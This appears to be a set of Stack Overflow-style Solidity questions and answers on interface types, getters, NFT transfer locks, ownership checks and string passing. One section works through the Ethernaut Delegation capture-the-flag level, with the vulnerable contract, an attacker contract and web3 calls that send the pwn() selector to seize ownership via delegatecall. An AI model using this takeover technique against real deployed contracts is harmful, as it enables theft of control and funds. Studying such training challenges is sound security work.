Using interface name as Variable type - solidity

In solidity, see below code ..... How is that the interface name is being used as variable type ?
See the comments in below code
pragma solidity 0.8.11;
import "../interfaces/ISpool.sol";
// ... other imports
abstract contract VaultBase is IVaultBase, VaultImmutable, SpoolOwnable, SpoolPausable, BaseConstants {
using Bitwise for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
/// #notice The central Spool contract
ISpool internal immutable spool; // ISpool is interface name and it is
// being used as variable type. What this means ?
}
ISpool interface:
interface ISpool is ISpoolExternal, ISpoolReallocation, ISpoolDoHardWork, ISpoolStrategy, ISpoolBase {}
How is that the interface name is being used as variable type ?

Interface type variables work the same way as Contract type variables.
They serve as as pointer to the specified address, assuming that there is a contract deployed on this address that implements this interface.
Example: If the ISpool interface declares a function foo(uint256) external returns (bool), your contract can call this function and assign the return value directly:
spool = ISpool(address(0x123));
bool result = spool.foo(1);
If the specified address doesn't implement this specific function that you're trying to call, the call fails with an exception.

Related

Read contract variable with only interface definition

I'm playing ethernaut Level 3, the original contract is here: https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f
When consecutiveWins is bigger or equal to 10, the player wins:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '#openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
...
}
Now I want to read the consecutiveWins value in my contract, so I defined an interface:
interface CoinFlip {
uint256 public consecutiveWins;
function flip(bool _guess) external returns (bool);
}
But it is not allowed to have a variable in an interface, what should I do?
Solidity compiler will automatically generate getter functions for public variables, so what you need is replacing consecutiveWins variable in your interface with a getter function like this:
function consecutiveWins() public view returns (uint256);
You can read more about it in Solidity docs here.

passing msg.data in external contract using delegate call

I am going through the ethernaut ctf challeneges and I am trying to take ownership of this contract through my own smart contract, here is the target code:
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
My assumption is that you can exploit this code and take ownership by passing msg.data in the Delegation contract that corresponds to the pwn() function in the Delegate contract (using delegate call this will allow us to take ownership of the delegation contract). My problem is passing in the msg.data and I am not entirely sure how to do it properly, here is my attempt:
contract ownerAttack {
function attack(address payable _victim) public payable {
address to = payable(_victim);
(bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
require(sent , "transfer failed");
}
receive()external payable{
}
However the transfer fails, thanks in advance for the help
You have correctly identified the approach to this; we have to send in the function selector of the target contract (Delegate) while making a call to the immediate contract (Delegation).
For this, we can Web3JS or EtherJS. Ethernaut console supports Web3JS so we will go with that here.
First, we have to calculate the selector for the pwn() function.
const selector = web3.eth.abi.encodeFunctionSignature("pwn()")
Second, we have to make the call to Delegation, but call pwn() as its function. This way, the fallback function is triggered, which then makes the delegate call to the function whose selector is in msg.data of the transaction. Thus, pwn() function of Delegate contract is called.
To make the call, we simply use sendTransaction like:
await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})
And this should answer your question.
I think Hasan Answer will work, but if you want to do the attack entirely inside solidity, I think you might be able to get the function signature by doing:
bytes4 encodedSignature = bytes4(keccak256("pwn()"));
Hashing with keccak256 and then casting it to bytes4 is exatcly how Solidity generates function signatures, so this should work.
But after some research it looks like you can also use this to retrieve it:
Delegate(0).pwn.selector
Then use the returned value to make the attack.
The following also works:
bytes memory selector = abi.encodeWithSignature("pwn()");
(bool success, ) = address(c).call(selector);
c is the address of the contract which makes the delegatecall

Lock transfer of erc721 NFT

Hi all I am building a blockchain-based game around an NFT project and am looking to understand if it's possible to implement the following.
Have a method on the NFT contract that when called can locks the transfer of all minted NFT's for a period. A bit like a game of tag than when your tag the contract all the (NFT / players) cant (move /transfer)
I assume I would need overide the transfer method then do a boolean check.
Something like
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
if(!isLocked){
safeTransferFrom(from, to, tokenId, "");
}
}
Will this work as I expect and is there any issues with this and would override the transfer method especially around security etc.
Sorry for such a broad question
Thanks
From the context, it seems like you're using the OpenZeppelin implementation. If that's the case, you can override their _beforeTokenTransfer() function, which is effectively called from all functions performing token transfer (as there is multiple of them).
pragma solidity ^0.8;
import "#openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MyCollection is ERC721 {
constructor() ERC721("MyCollection", "MyC") {
_mint(msg.sender, 1);
}
// needs to be unlocked for the `_mint()` function in constructor
bool locked = false;
function setLocked(bool _locked) external {
locked = _locked;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override {
require(!locked, "Cannot transfer - currently locked");
}
}
If you're using other or custom implementation, or chose to only override the publicly visible functions, make sure that there is no other public or external function allowing the transfer without the lock mechanism.
Also few notes to your current code:
You probably won't need the virtual keyword. It allows the function to be further overridden. Unless you're expecting to override this function as well, you can safely remove the keyword.
You're calling the parent function with the same name but different argument set. If you wanted to call the parent function with the same name and the same argument set (assuming it's defined), you'd need to use the super keyword (same as in Java): super.safeTransferFrom(from, to, tokenId);

get contract creator's address in a different separate smart contract

I want to create a dApp where one can do certain things related to a contract they've deployed. let's say it'll be used to manage a token listing site.
I need to figure out how to verify that the address that's calling the functions matches the address that created a particular contract.
eg. 0x01 is the contract creator of Contract A
0x01 calls a function along with the parameter of Contract A's contract address in Contract B
A function within Contract B then finds the contract creator's address of Contract A somehow and matches that against 0x01
Is this possible to do in solidity?
Code
pragma solidity ^0.4.20;
contract A {
address private owner_;
function A() public {
owner_ = msg.sender;
}
function getOwner() public view returns (address) {
return owner_;
}
}
contract B {
function findAsOwner() public view returns (bool) {
require(A(address of contract A).getOwner() == msg.sender);
return true;
}
}
I tested it on my remix. I called findAsOwner() and it passed the require part and returned true. You may use this pattern.

Why can't you pass strings from contract to contract?

When calling trying to pass a string from contract to contract, I get an error. in getName with error. I'm aware you cannot pass strings but what is the reason?
Return argument type inaccessible dynamic type is not implicitly
convertible to expected type (type of first return variable) string
memory. return toBeCalled.getName();
pragma solidity ^0.1.0;
contract ToContract{
FromContract fromContract = new FromContract();
function getName() constant returns (string) {
return fromContract.getName();
}
}
contract FromContract{
string name = 'dapp';
function getName() constant return(string){
return name;
}
}
In solidity a string "Hey" is internally stored as ["H","e","y"] which is a dynamic array. As of now it has no support to pass dynamic arrays. you can try to work around this by passing the string as a part of an object.